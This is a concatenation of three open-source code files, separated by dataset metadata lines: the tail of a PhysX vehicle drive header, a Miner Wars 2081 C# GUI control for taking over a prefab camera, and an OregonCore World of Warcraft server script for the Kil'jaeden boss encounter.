towards. \note The gear change will begin at the next call to PxVehicleUpadates. @see PxVehicleGearsData */ PX_FORCE_INLINE void startGearChange(const PxU32 targetGear) { mTargetGear=targetGear; } /** \brief Force an immediate gear change to a target gear \param[in] targetGear is the gear the vehicle will be given immediately. @see PxVehicleGearsData */ PX_FORCE_INLINE void forceGearChange(const PxU32 targetGear) { mTargetGear=targetGear; mCurrentGear=targetGear; } /** \brief Set the rotation speed of the engine (radians per second) \param[in] speed is the rotational speed (radians per second) to apply to the engine. */ PX_FORCE_INLINE void setEngineRotationSpeed(const PxF32 speed) { mEnginespeed = speed; } /** \brief Return the rotation speed of the engine (radians per second) \return The rotational speed (radians per second) of the engine. */ PX_FORCE_INLINE PxReal getEngineRotationSpeed() const { return mEnginespeed; } /** \brief Return the time that has passed since the current gear change was initiated. \return The time that has passed since the current gear change was initiated. \note If no gear change is in process the gear switch time will be zero. @see PxVehicleGearsData.mSwitchTime */ PX_FORCE_INLINE PxReal getGearSwitchTime() const { return mGearSwitchTime; } /** \brief Return the time that has passed since the autobox last initiated a gear change. \return The time that has passed since the autobox last initiated a gear change. @see PxVehicleAutoBoxData::setLatency, PxVehicleAutoBoxData::getLatency */ PX_FORCE_INLINE PxReal getAutoBoxSwitchTime() const { return mAutoBoxSwitchTime; } /** \brief All dynamic data values are public for fast access. */ /** \brief Analog control values used by vehicle simulation. @see setAnalogInput, getAnalogInput, PxVehicleDrive4WControl, PxVehicleDriveNWControl, PxVehicleDriveTankControl */ PxReal mControlAnalogVals[eMAX_NB_ANALOG_INPUTS]; /** \brief Auto-gear flag used by vehicle simulation. Set true to enable the autobox, false to disable the autobox. @see setUseAutoGears, setUseAutoGears, toggleAutoGears, PxVehicleAutoBoxData */ bool mUseAutoGears; /** \brief Gear-up digital control value used by vehicle simulation. \note If true a gear change will be initiated towards currentGear+1 (or to first gear if in reverse). @see setDigitalInput, getDigitalInput */ bool mGearUpPressed; /** \brief Gear-down digital control value used by vehicle simulation. \note If true a gear change will be initiated towards currentGear-1 (or to reverse if in first). @see setDigitalInput, getDigitalInput */ bool mGearDownPressed; /** \brief Current gear @see startGearChange, forceGearChange, getCurrentGear, PxVehicleGearsData */ PxU32 mCurrentGear; /** \brief Target gear (different from current gear if a gear change is underway) @see startGearChange, forceGearChange, getTargetGear, PxVehicleGearsData */ PxU32 mTargetGear; /** \brief Rotation speed of engine @see setToRestState, getEngineRotationSpeed */ PxReal mEnginespeed; /** \brief Reported time that has passed since gear change started. @see setToRestState, startGearChange, PxVehicleGearsData::mSwitchTime */ PxReal mGearSwitchTime; /** \brief Reported time that has passed since last autobox gearup/geardown decision. @see setToRestState, PxVehicleAutoBoxData::setLatency */ PxReal mAutoBoxSwitchTime; private: PxU32 mPad[2]; /** \brief Test that a PxVehicleDriveDynData instance has legal values. @see setToRestState */ bool isValid() const; //serialization public: PxVehicleDriveDynData(); PxVehicleDriveDynData(const PxEMPTY) {} PxU32 getNbAnalogInput() const { return eMAX_NB_ANALOG_INPUTS; } PX_FORCE_INLINE void setGearChange(const PxU32 gearChange) { mTargetGear= gearChange; } PX_FORCE_INLINE PxU32 getGearChange() const { return mTargetGear; } PX_FORCE_INLINE void setGearSwitchTime(const PxReal switchTime) { mGearSwitchTime = switchTime; } PX_FORCE_INLINE void setAutoBoxSwitchTime(const PxReal autoBoxSwitchTime) { mAutoBoxSwitchTime = autoBoxSwitchTime; } //~serialization }; PX_COMPILE_TIME_ASSERT(0==(sizeof(PxVehicleDriveDynData) & 15)); /** \brief A complete vehicle with instance dynamics data and configuration data for wheels and engine,clutch,gears,autobox. @see PxVehicleDrive4W, PxVehicleDriveTank */ class PxVehicleDrive : public PxVehicleWheels { //= ATTENTION! ===================================================================================== // Changing the data layout of this class breaks the binary serialization format. See comments for // PX_BINARY_SERIAL_VERSION. If a modification is required, please adjust the getBinaryMetaData // function. If the modification is made on a custom branch, please change PX_BINARY_SERIAL_VERSION // accordingly. //================================================================================================== public: friend class PxVehicleUpdate; /** \brief Dynamics data of vehicle instance. @see setup */ PxVehicleDriveDynData mDriveDynData; protected: /** \brief Test that all instanced dynamics data and configuration data have legal values. */ bool isValid() const; /** \brief Set vehicle to rest. */ void setToRestState(); /** @see PxVehicleDrive4W::allocate, PxVehicleDriveTank::allocate */ static PxU32 computeByteSize(const PxU32 numWheels); static PxU8* patchupPointers(const PxU32 nbWheels, PxVehicleDrive* vehDrive, PxU8* ptr); virtual void init(const PxU32 numWheels); /** \brief Deallocate a PxVehicle4WDrive instance. @see PxVehicleDrive4W::free, PxVehicleDriveTank::free */ void free(); /** @see PxVehicleDrive4W::setup, PxVehicleDriveTank::setup */ void setup (PxPhysics* physics, PxRigidDynamic* vehActor, const PxVehicleWheelsSimData& wheelsData, const PxU32 nbDrivenWheels, const PxU32 nbNonDrivenWheels); //serialization public: static void getBinaryMetaData(PxOutputStream& stream); PxVehicleDrive(PxBaseFlags baseFlags) : PxVehicleWheels(baseFlags), mDriveDynData(PxEmpty) {} virtual const char* getConcreteTypeName() const { return "PxVehicleDrive"; } protected: PxVehicleDrive(PxType concreteType, PxBaseFlags baseFlags) : PxVehicleWheels(concreteType, baseFlags) {} ~PxVehicleDrive() {} virtual bool isKindOf(const char* name) const { return !::strcmp("PxVehicleDrive", name) || PxBase::isKindOf(name); } //~serialization }; PX_COMPILE_TIME_ASSERT(0==(sizeof(PxVehicleDrive) & 15)); #if !PX_DOXYGEN } // namespace physx #endif /** @} */ #endif //PX_VEHICLE_DRIVE_H
0
0.884624
1
0.884624
game-dev
MEDIA
0.704099
game-dev
0.959345
1
0.959345
KeenSoftwareHouse/Miner-Wars-2081
3,850
Sources/MinerWars.GameLib/AppCode/Game/GUI/Prefabs/MyGuiControlPrefabCameraUse.cs
using System; using System.Collections.Generic; using System.Linq; using System.Text; using MinerWars.AppCode.Game.GUI.Core; using MinerWars.AppCode.Game.Textures; using MinerWars.AppCode.Game.Prefabs; using MinerWarsMath; using MinerWars.AppCode.Game.Utils; using MinerWars.AppCode.Game.Localization; using MinerWars.AppCode.Game.Sessions; using System.Diagnostics; namespace MinerWars.AppCode.Game.GUI.Prefabs { class MyGuiControlPrefabCameraUse : MyGuiControlPrefabUse { MyGuiControlButton m_takeControl; public MyPrefabCamera PrefabCamera { get { return (MyPrefabCamera)m_entity; } } public MyGuiControlPrefabCameraUse(IMyGuiControlsParent parent, MyPrefabCamera prefabCamera) : base(parent, prefabCamera) { } public MyGuiControlPrefabCameraUse(IMyGuiControlsParent parent, MyPrefabCamera prefabCamera, MyTexture2D texture) : base(parent, prefabCamera, texture) { } protected override void LoadControls() { base.LoadControls(); var pos = GetNextControlPosition() - MyGuiConstants.CONTROLS_DELTA + new Vector2(0.07f, -0.02f); m_takeControl = new MyGuiControlButton(this, pos, new Vector2(0.14f, 0.051f), Vector4.One, MyGuiManager.GetConfirmButton(), null, null, MyTextsWrapperEnum.AcquireControl, MyGuiConstants.BUTTON_TEXT_COLOR, MyGuiConstants.BUTTON_TEXT_SCALE_SMALLER, MyGuiControlButtonTextAlignment.CENTERED, OnControlClick, true, MyGuiDrawAlignEnum.HORISONTAL_LEFT_AND_VERTICAL_TOP, true, true, true, drawCrossTextureWhenDisabled : false); Controls.Add(m_takeControl); m_takeControl.DrawRedTextureWhenDisabled = false; UpdateTakeControlState(); } private void UpdateTakeControlState() { bool canBeControlled = PrefabCamera.IsWorking() && !IsControlledByOtherPlayer(); m_takeControl.Enabled = m_takeControl.Visible = canBeControlled; } protected override void OnOnOffClick(MyGuiControlButton sender) { base.OnOnOffClick(sender); UpdateTakeControlState(); } void OnControlClick(MyGuiControlButton sender) { Debug.Assert(PrefabCamera.EntityId.HasValue, "EntityID cannot be null"); if (MyMultiplayerGameplay.IsRunning) { MyMultiplayerGameplay.Static.LockReponse = (e, success) => { MyMultiplayerGameplay.Static.LockReponse = null; if (PrefabCamera != e) { Debug.Fail("Something went wrong, locked different entity"); MyMultiplayerGameplay.Static.Lock(e, false); return; } if (success) { ParentScreen.Closed += ParentScreenClosed; MyGuiScreenGamePlay.Static.TakeControlOfCamera(PrefabCamera); HideHUBScreen(); } }; MyMultiplayerGameplay.Static.Lock(PrefabCamera, true); } else { MyGuiScreenGamePlay.Static.TakeControlOfCamera(PrefabCamera); HideHUBScreen(); } } public override void Draw() { UpdateTakeControlState(); base.Draw(); } private void ParentScreenClosed(MyGuiScreenBase screen) { MyMultiplayerGameplay.Static.Lock(PrefabCamera, false); } public override void ClearAfterRemove() { ParentScreen.Closed -= ParentScreenClosed; } } }
0
0.925433
1
0.925433
game-dev
MEDIA
0.970305
game-dev
0.895134
1
0.895134
MagForceSeven/Starfire
3,340
StarfireMessenger/Source/MDMetaDataEditor/Private/Types/MDMetaDataEditorPropertyType.h
// Copyright Dylan Dumesnil. All Rights Reserved. #pragma once #include "EdGraph/EdGraphPin.h" #include "StructUtils/InstancedStruct.h" #include "MDMetaDataEditorPropertyType.generated.h" struct FEdGraphPinType; struct FEdGraphTerminalType; UENUM() enum class EMDMetaDataPropertyContainerType : uint8 { None, Array, Set, Map }; USTRUCT() struct FMDMetaDataEditorPropertyType { GENERATED_BODY() public: FMDMetaDataEditorPropertyType( FName PropertyType = NAME_None, FName PropertySubType = NAME_None, TSoftObjectPtr<UObject> PropertySubTypeObject = nullptr, FSimpleMemberReference PropertySubTypeMemberReference = FSimpleMemberReference(), FInstancedStruct ValueType = FInstancedStruct(), EMDMetaDataPropertyContainerType ContainerType = EMDMetaDataPropertyContainerType::None ) : PropertyType(PropertyType) , PropertySubType(PropertySubType) , PropertySubTypeObject(PropertySubTypeObject) , PropertySubTypeMemberReference(PropertySubTypeMemberReference) , ValueType(ValueType) , ContainerType(ContainerType) { // Fix any newly constructed property types. FixUp(); } FEdGraphPinType ToGraphPinType() const; FEdGraphTerminalType ToGraphTerminalType() const; void SetFromGraphPinType(const FEdGraphPinType& GraphPinType); void SetFromGraphTerminalType(const FEdGraphTerminalType& GraphTerminalType); bool DoesMatchProperty(const FProperty* Property) const; UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") FName PropertyType = NAME_None; UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") FName PropertySubType = NAME_None; UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") TSoftObjectPtr<UObject> PropertySubTypeObject; UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") FSimpleMemberReference PropertySubTypeMemberReference; UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") FInstancedStruct ValueType; FMDMetaDataEditorPropertyType& SetValueType(FMDMetaDataEditorPropertyType&& InValueType) { ValueType.InitializeAs<FMDMetaDataEditorPropertyType>(InValueType); return *this; } UPROPERTY(EditAnywhere, Config, Category = "Meta Data Editor") EMDMetaDataPropertyContainerType ContainerType = EMDMetaDataPropertyContainerType::None; FMDMetaDataEditorPropertyType& SetContainerType(EMDMetaDataPropertyContainerType InContainerType) { ContainerType = InContainerType; return *this; } void FixUp(); bool operator==(const FMDMetaDataEditorPropertyType& Other) const; bool operator!=(const FMDMetaDataEditorPropertyType& Other) const { return !(*this == Other); } friend uint32 GetTypeHash(const FMDMetaDataEditorPropertyType& Key) { uint32 Hash = GetTypeHash(Key.PropertyType); Hash = HashCombine(Hash, GetTypeHash(Key.PropertySubType)); Hash = HashCombine(Hash, GetTypeHash(Key.PropertySubTypeObject)); Hash = HashCombine(Hash, GetTypeHash(Key.PropertySubTypeMemberReference.MemberParent)); Hash = HashCombine(Hash, GetTypeHash(Key.PropertySubTypeMemberReference.MemberName)); Hash = HashCombine(Hash, GetTypeHash(Key.PropertySubTypeMemberReference.MemberGuid)); Hash = HashCombine(Hash, GetTypeHash(Key.ValueType.GetScriptStruct())); Hash = HashCombine(Hash, GetTypeHash(Key.ValueType.GetMemory())); Hash = HashCombine(Hash, GetTypeHash(Key.ContainerType)); return Hash; } };
0
0.833226
1
0.833226
game-dev
MEDIA
0.618579
game-dev
0.871935
1
0.871935
OregonCore/OregonCore
49,248
src/scripts/EasternKingdoms/SunwellPlateau/boss_kiljaeden.cpp
/* * This file is part of the OregonCore Project. See AUTHORS file for Copyright information * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see <https://www.gnu.org/licenses/>. */ /* ScriptData SDName: Boss_Kiljaeden SD%Complete: 80 SDComment: Sinister Reflection Model, Armageddon Visual, SAY_KJ_SHADOWSPIKE3, Emote, End Sequence SDCategory: Sunwell_Plateau EndScriptData */ //TODO rewrite Armageddon #include "ScriptMgr.h" #include "ScriptedCreature.h" #include "sunwell_plateau.h" #include <math.h> /*** Speech and sounds***/ enum Yells { // These are used throughout Sunwell and Magisters(?). Players can hear this while running through the instances. SAY_KJ_OFFCOMBAT1 = -1580066, SAY_KJ_OFFCOMBAT2 = -1580067, SAY_KJ_OFFCOMBAT3 = -1580068, SAY_KJ_OFFCOMBAT4 = -1580069, SAY_KJ_OFFCOMBAT5 = -1580070, // Encounter speech and sounds SAY_KJ_EMERGE = -1580071, SAY_KJ_SLAY1 = -1580072, SAY_KJ_SLAY2 = -1580073, SAY_KJ_REFLECTION1 = -1580074, SAY_KJ_REFLECTION2 = -1580075, SAY_KJ_DARKNESS1 = -1580076, SAY_KJ_DARKNESS2 = -1580077, SAY_KJ_DARKNESS3 = -1580078, SAY_KJ_PHASE3 = -1580079, SAY_KJ_PHASE4 = -1580080, SAY_KJ_PHASE5 = -1580081, SAY_KJ_DEATH = -1580093, EMOTE_KJ_DARKNESS = -1580094, /*** Kalecgos - Anveena speech at the beginning of Phase 5; Anveena's sacrifice ***/ SAY_KALECGOS_AWAKEN = -1580082, SAY_ANVEENA_IMPRISONED = -1580083, SAY_KALECGOS_LETGO = -1580084, SAY_ANVEENA_LOST = -1580085, SAY_KALECGOS_FOCUS = -1580086, SAY_ANVEENA_KALEC = -1580087, SAY_KALECGOS_FATE = -1580088, SAY_ANVEENA_GOODBYE = -1580089, SAY_KALECGOS_ENCOURAGE = -1580091, /*** Kalecgos says throughout the fight ***/ SAY_KALECGOS_JOIN = -1580092, SAY_KALEC_ORB_READY1 = -1580095, SAY_KALEC_ORB_READY2 = -1580096, SAY_KALEC_ORB_READY3 = -1580097, SAY_KALEC_ORB_READY4 = -1580098 }; /*** Spells used during the encounter ***/ enum Spells { /* Hand of the Deceiver's spells and cosmetics */ SPELL_SHADOW_BOLT_VOLLEY = 45770, // ~30 yard range Shadow Bolt Volley for ~2k(?) damage SPELL_SHADOW_INFUSION = 45772, // They gain this at 20% - Immunity to Stun/Silence and makes them look angry! SPELL_FELFIRE_PORTAL = 46875, // Creates a portal that spawns Felfire Fiends (LIVE FOR THE SWARM!1 FOR THE OVERMIND!) SPELL_SUMMON_FELFIRE_FIEND = 46464, SPELL_SHADOW_CHANNELING = 46757, // Channeling animation out of combat /* Volatile Felfire Fiend's spells */ SPELL_FELFIRE_FISSION = 45779, // Felfire Fiends explode when they die or get close to target. /* Kil'Jaeden's spells and cosmetics */ SPELL_TRANS = 23188, // Surprisingly, this seems to be the right spell.. (Where is it used?) SPELL_REBIRTH = 44200, // Emerge from the Sunwell SPELL_SOUL_FLAY = 45442, // 9k Shadow damage over 3 seconds. Spammed throughout all the fight. SPELL_SOUL_FLAY_SLOW = 47106, SPELL_LEGION_LIGHTNING = 45664, // Chain Lightning, 4 targets, ~3k Shadow damage, 1.5k mana burn SPELL_FIRE_BLOOM = 45641, // Places a debuff on 5 raid members, which causes them to deal 2k Fire damage to nearby allies and selves. MIGHT NOT WORK SPELL_DESTROY_ALL_DRAKES = 46707, // when he use it? SPELL_SINISTER_REFLECTION = 45892, // Summon shadow copies of 5 raid members that fight against KJ's enemies SPELL_COPY_WEAPON = 41055, // } SPELL_COPY_WEAPON2 = 41054, // } SPELL_COPY_OFFHAND = 45206, // }- Spells used in Sinister Reflection creation SPELL_COPY_OFFHAND_WEAPON = 45205, // } SPELL_SHADOW_SPIKE = 46680, // Bombard random raid members with Shadow Spikes (Very similar to Void Reaver orbs) SPELL_FLAME_DART = 45737, // Bombards the raid with flames every 3(?) seconds SPELL_DARKNESS_OF_A_THOUSAND_SOULS = 46605, // Begins a 8-second channeling, after which he will deal 50'000 damage to the raid SPELL_DARKNESS_OF_A_THOUSAND_SOULS_DAMAGE = 45657, /* Armageddon spells wrong visual */ SPELL_ARMAGEDDON_TRIGGER = 45909, // Meteor spell trigger missile should cast Creature on himself SPELL_ARMAGEDDON_VISUAL = 45911, // Does the hellfire visual to indicate where the meteor missle lands SPELL_ARMAGEDDON_VISUAL2 = 45914, // Does the light visual to indicate where the meteor missle lands SPELL_ARMAGEDDON_VISUAL3 = 24207, // This shouldn't correct but same as seen on the movie SPELL_ARMAGEDDON_SUMMON_TRIGGER = 45921, // Summons the triggers that cast the spells on himself need random target select SPELL_ARMAGEDDON_DAMAGE = 45915, // This does the area damage /* Shield Orb Spells*/ SPELL_SHADOW_BOLT = 45680, //45679 would be correct but triggers to often //TODO fix console error /* Anveena's spells and cosmetics (Or, generally, everything that has "Anveena" in name) */ SPELL_ANVEENA_PRISON = 46367, // She hovers locked within a bubble SPELL_ANVEENA_ENERGY_DRAIN = 46410, // Sunwell energy glow animation (Control mob uses this) SPELL_SACRIFICE_OF_ANVEENA = 46474, // This is cast on Kil'Jaeden when Anveena sacrifices herself into the Sunwell /* Sinister Reflection Spells */ SPELL_SR_CURSE_OF_AGONY = 46190, SPELL_SR_SHADOW_BOLT = 47076, SPELL_SR_EARTH_SHOCK = 47071, SPELL_SR_FIREBALL = 47074, SPELL_SR_HEMORRHAGE = 45897, SPELL_SR_HOLY_SHOCK = 38921, SPELL_SR_HAMMER_OF_JUSTICE = 37369, SPELL_SR_HOLY_SMITE = 47077, SPELL_SR_RENEW = 47079, SPELL_SR_SHOOT = 16496, SPELL_SR_MULTI_SHOT = 48098, SPELL_SR_WING_CLIP = 40652, SPELL_SR_WHIRLWIND = 17207, SPELL_SR_MOONFIRE = 47072, //SPELL_SR_PLAGU STRIKE = 58843, Dk Spell! /*** Other Spells (used by players, etc) ***/ SPELL_VENGEANCE_OF_THE_BLUE_FLIGHT = 45839, // Possess the blue dragon from the orb to help the raid. SPELL_RING_OF_BLUE_FLAMES = 45825, //Cast this spell when the go is activated }; /*** Error messages ***/ #define ERROR_KJ_NOT_SUMMONED "OSCR ERROR: Unable to summon Kil'Jaeden for some reason" /*** Others ***/ #define FLOOR_Z 28.050388f #define SHIELD_ORB_Z 45.000f enum Phase { PHASE_DECEIVERS = 1, // Fight 3 adds PHASE_NORMAL = 2, // Kil'Jaeden emerges from the sunwell PHASE_DARKNESS = 3, // At 85%, he gains few abilities; Kalecgos joins the fight PHASE_ARMAGEDDON = 4, // At 55%, he gains even more abilities PHASE_SACRIFICE = 5, // At 25%, Anveena sacrifices herself into the Sunwell; at this point he becomes enraged and has *significally* shorter cooldowns. }; //Timers enum KilJaedenTimers { TIMER_SPEECH = 0, //Phase 2 Timer TIMER_SOUL_FLAY = 1, TIMER_LEGION_LIGHTNING = 2, TIMER_FIRE_BLOOM = 3, TIMER_SUMMON_SHILEDORB = 4, //Phase 3 Timer TIMER_SHADOW_SPIKE = 5, TIMER_FLAME_DART = 6, TIMER_DARKNESS = 7, TIMER_ORBS_EMPOWER = 8, //Phase 4 Timer TIMER_ARMAGEDDON = 9 }; // Locations of the Hand of Deceiver adds float DeceiverLocations[3][3] = { {1682.045f, 631.299f, 5.936f}, {1684.099f, 618.848f, 0.589f}, {1694.170f, 612.272f, 1.416f}, }; // Locations, where Shield Orbs will spawn float ShieldOrbLocations[4][2] = { {1698.900f, 627.870f}, // middle pont of Sunwell {12, 3.14f}, // First one spawns northeast of KJ {12, 3.14f / 0.7f}, // Second one spawns southeast {12, 3.14f * 3.8f} // Third one spawns (?) }; struct Speech { int32 textid; uint32 pCreature, timer; }; // Timers static Speech Speeches[] = { //Kil Phase 1 -> Phase 2 {SAY_KJ_EMERGE, DATA_KILJAEDEN, 0}, {SAY_KALECGOS_JOIN, DATA_KALECGOS_KJ, 26000}, //Kil Phase 2 -> Phase 3 {SAY_KALECGOS_AWAKEN, DATA_KALECGOS_KJ, 10000}, {SAY_ANVEENA_IMPRISONED, DATA_ANVEENA, 5000}, {SAY_KJ_PHASE3, DATA_KILJAEDEN, 5000}, //Kil Phase 3 -> Phase 4 {SAY_KALECGOS_LETGO, DATA_KALECGOS_KJ, 10000}, {SAY_ANVEENA_LOST, DATA_ANVEENA, 8000}, {SAY_KJ_PHASE4, DATA_KILJAEDEN, 7000}, //Kil Phase 4 -> Phase 5 {SAY_KALECGOS_FOCUS, DATA_KALECGOS_KJ, 4000}, {SAY_ANVEENA_KALEC, DATA_ANVEENA, 11000}, {SAY_KALECGOS_FATE, DATA_KALECGOS_KJ, 2000}, {SAY_ANVEENA_GOODBYE, DATA_ANVEENA, 6000}, {SAY_KJ_PHASE5, DATA_KILJAEDEN, 5500}, }; //AI for Kalecgos struct boss_kalecgos_kjAI : public ScriptedAI { boss_kalecgos_kjAI(Creature* c) : ScriptedAI(c) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; uint8 OrbsEmpowered; uint8 EmpowerCount; void Reset() { OrbsEmpowered = 0; EmpowerCount = 0; me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); for (uint8 i = 0; i < 4; ++i) if (GameObject* pOrb = GetOrb(i)) pOrb->SetGoType(GAMEOBJECT_TYPE_BUTTON); } GameObject* GetOrb(int32 index) { if (!pInstance) return NULL; switch (index) { case 0: return pInstance->instance->GetGameObject(pInstance->GetData64(DATA_ORB_OF_THE_BLUE_DRAGONFLIGHT_1)); case 1: return pInstance->instance->GetGameObject(pInstance->GetData64(DATA_ORB_OF_THE_BLUE_DRAGONFLIGHT_2)); case 2: return pInstance->instance->GetGameObject(pInstance->GetData64(DATA_ORB_OF_THE_BLUE_DRAGONFLIGHT_3)); case 3: return pInstance->instance->GetGameObject(pInstance->GetData64(DATA_ORB_OF_THE_BLUE_DRAGONFLIGHT_4)); } return NULL; } void ResetOrbs() { me->RemoveDynObject(SPELL_RING_OF_BLUE_FLAMES); for (uint8 i = 0; i < 4; ++i) if (GameObject* pOrb = GetOrb(i)) pOrb->SetUInt32Value(GAMEOBJECT_FACTION, 0); } void EmpowerOrb(bool all) { GameObject* pOrbEmpowered = GetOrb(OrbsEmpowered); if (!pOrbEmpowered) return; if (all) { me->RemoveDynObject(SPELL_RING_OF_BLUE_FLAMES); for (uint8 i = 0; i < 4; ++i) { if (GameObject* pOrb = GetOrb(i)) { pOrb->CastSpell(me, SPELL_RING_OF_BLUE_FLAMES); pOrb->SetUInt32Value(GAMEOBJECT_FACTION, 35); pOrb->setActive(true); pOrb->Refresh(); } } DoScriptText(SAY_KALECGOS_ENCOURAGE, me); } else { if (GameObject* pOrb = GetOrb(urand(0, 3))) { pOrb->CastSpell(me, SPELL_RING_OF_BLUE_FLAMES); pOrb->SetUInt32Value(GAMEOBJECT_FACTION, 35); pOrb->setActive(true); pOrb->Refresh(); OrbsEmpowered = (OrbsEmpowered + 1) % 4; ++EmpowerCount; switch (EmpowerCount) { case 1: DoScriptText(SAY_KALEC_ORB_READY1, me); break; case 2: DoScriptText(SAY_KALEC_ORB_READY2, me); break; case 3: DoScriptText(SAY_KALEC_ORB_READY3, me); break; case 4: DoScriptText(SAY_KALEC_ORB_READY4, me); break; } } } } void UpdateAI(const uint32 /*diff*/) { } void SetRingOfBlueFlames() { me->RemoveDynObject(SPELL_RING_OF_BLUE_FLAMES); for (uint8 i = 0; i < 4; ++i) { if (GameObject* pOrb = GetOrb(i)) { if (pOrb->GetUInt32Value(GAMEOBJECT_FACTION) == 35) { pOrb->CastSpell(me, SPELL_RING_OF_BLUE_FLAMES); pOrb->setActive(true); pOrb->Refresh(); } } } } }; CreatureAI* GetAI_boss_kalecgos_kj(Creature* pCreature) { return new boss_kalecgos_kjAI (pCreature); } bool GOHello_go_orb_of_the_blue_flight(Player* pPlayer, GameObject* pGo) { if (pGo->GetUInt32Value(GAMEOBJECT_FACTION) == 35) { ScriptedInstance* pInstance = (ScriptedInstance*)pGo->GetInstanceData(); pPlayer->SummonCreature(CREATURE_POWER_OF_THE_BLUE_DRAGONFLIGHT, pPlayer->GetPositionX(), pPlayer->GetPositionY(), pPlayer->GetPositionZ(), 0.0f, TEMPSUMMON_TIMED_DESPAWN, 121000); pPlayer->CastSpell(pPlayer, SPELL_VENGEANCE_OF_THE_BLUE_FLIGHT, false); pGo->SetUInt32Value(GAMEOBJECT_FACTION, 0); if (Creature* pKalec = Unit::GetCreature(*pPlayer, pInstance->GetData64(DATA_KALECGOS_KJ))) CAST_AI(boss_kalecgos_kjAI, pKalec->AI())->SetRingOfBlueFlames(); pGo->Refresh(); } return true; } //AI for Kil'jaeden Event Controller struct mob_kiljaeden_controllerAI : public Scripted_NoMovementAI { mob_kiljaeden_controllerAI(Creature* c) : Scripted_NoMovementAI(c), summons(me) { pInstance = (ScriptedInstance*)c->GetInstanceData(); } ScriptedInstance* pInstance; SummonList summons; bool bSummonedDeceivers; bool bKiljaedenDeath; uint32 uiRandomSayTimer; uint32 phase; uint8 deceiverDeathCount; uint64 handDeceiver[3]; void InitializeAI() { me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); me->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NON_ATTACKABLE); me->AddUnitState(UNIT_STATE_STUNNED); ScriptedAI::InitializeAI(); } void Reset() { for (uint8 i = 0; i < 3; ++i) handDeceiver[i] = 0; if (Creature* pKalecKJ = Unit::GetCreature((*me), pInstance->GetData64(DATA_KALECGOS_KJ))) CAST_AI(boss_kalecgos_kjAI, pKalecKJ->AI())->ResetOrbs(); if (pInstance) { if (pInstance->GetData(DATA_KILJAEDEN_EVENT) == DONE) { DoCast(me, SPELL_SUNWELL_IGNITION, true); return; } else { DoCast(me, SPELL_ANVEENA_ENERGY_DRAIN, true); pInstance->SetData(DATA_KILJAEDEN_EVENT, NOT_STARTED); } } phase = PHASE_DECEIVERS; deceiverDeathCount = 0; bKiljaedenDeath = false; uiRandomSayTimer = 30000; summons.DespawnAll(); bSummonedDeceivers = false; } void MoveInLineOfSight(Unit* who) { if (pInstance && pInstance->GetData(DATA_KILJAEDEN_EVENT) == DONE) return; ScriptedAI::MoveInLineOfSight(who); DoZoneInCombatWithPlayers(true); if (bSummonedDeceivers) { for (uint8 i = 0; i < 3; ++i) { if (Creature *hand = pInstance->GetCreature(handDeceiver[i])) { if (!hand->IsInCombat()) hand->AI()->AttackStart(who); hand->AI()->DoZoneInCombatWithPlayers(true); } } } } void JustSummoned(Creature* summoned) { switch (summoned->GetEntry()) { case CREATURE_HAND_OF_THE_DECEIVER: summoned->CastSpell(summoned, SPELL_SHADOW_CHANNELING, false); break; case CREATURE_ANVEENA: summoned->CastSpell(summoned, SPELL_ANVEENA_PRISON, true); me->CastSpell(summoned, SPELL_ANVEENA_ENERGY_DRAIN, true); summoned->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); break; case CREATURE_KILJAEDEN: summoned->CastSpell(summoned, SPELL_REBIRTH, false); summoned->AddThreat(me->GetVictim(), 1.0f); break; case NPC_RIFTWALKER: summoned->CastSpell(summoned, SPELL_TELEPORT_VISUAL, true); break; case NPC_SOLDIER: summoned->CastSpell(summoned, SPELL_TELEPORT_VISUAL, true); summoned->SetWalk(false); summoned->SetSpeed(MOVE_RUN, 1.0f); break; case CREATURE_PROPHET: summoned->CastSpell(summoned, SPELL_TELEPORT_VISUAL, true); summoned->GetMotionMaster()->MovePoint(0, aOutroLocations[5].m_fX, aOutroLocations[5].m_fY, aOutroLocations[5].m_fZ); break; case CREATURE_LIADRIN: summoned->CastSpell(summoned, SPELL_TELEPORT_VISUAL, true); break; case NPC_CORE_ENTROPIUS: summoned->SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_NOT_SELECTABLE); summoned->CastSpell(summoned, SPELL_ENTROPIUS_BODY, true); break; } summons.Summon(summoned); } void UpdateAI(const uint32 diff) { if (pInstance && pInstance->GetData(DATA_KILJAEDEN_EVENT) == DONE) return; if (uiRandomSayTimer < diff) { if (pInstance && pInstance->GetData(DATA_MURU_EVENT) != DONE && pInstance->GetData(DATA_KILJAEDEN_EVENT) == NOT_STARTED) DoScriptText(RAND(SAY_KJ_OFFCOMBAT1, SAY_KJ_OFFCOMBAT2, SAY_KJ_OFFCOMBAT3, SAY_KJ_OFFCOMBAT4, SAY_KJ_OFFCOMBAT5), me); uiRandomSayTimer = 30000; } else uiRandomSayTimer -= diff; if (!bSummonedDeceivers) { for (uint8 i = 0; i < 3; ++i) { if (Creature* hand = me->SummonCreature(CREATURE_HAND_OF_THE_DECEIVER, DeceiverLocations[i][0], DeceiverLocations[i][1], FLOOR_Z, DeceiverLocations[i][2], TEMPSUMMON_DEAD_DESPAWN, 0)) handDeceiver[i] = hand->GetGUID(); } DoSpawnCreature(CREATURE_ANVEENA, 0, 0, 40, 0, TEMPSUMMON_DEAD_DESPAWN, 0); bSummonedDeceivers = true; } if (deceiverDeathCount > 2 && phase == PHASE_DECEIVERS) { me->RemoveAurasDueToSpell(SPELL_ANVEENA_ENERGY_DRAIN); phase = PHASE_NORMAL; DoSpawnCreature(CREATURE_KILJAEDEN, 0, 0, 0, 0, TEMPSUMMON_MANUAL_DESPAWN, 0); } } }; 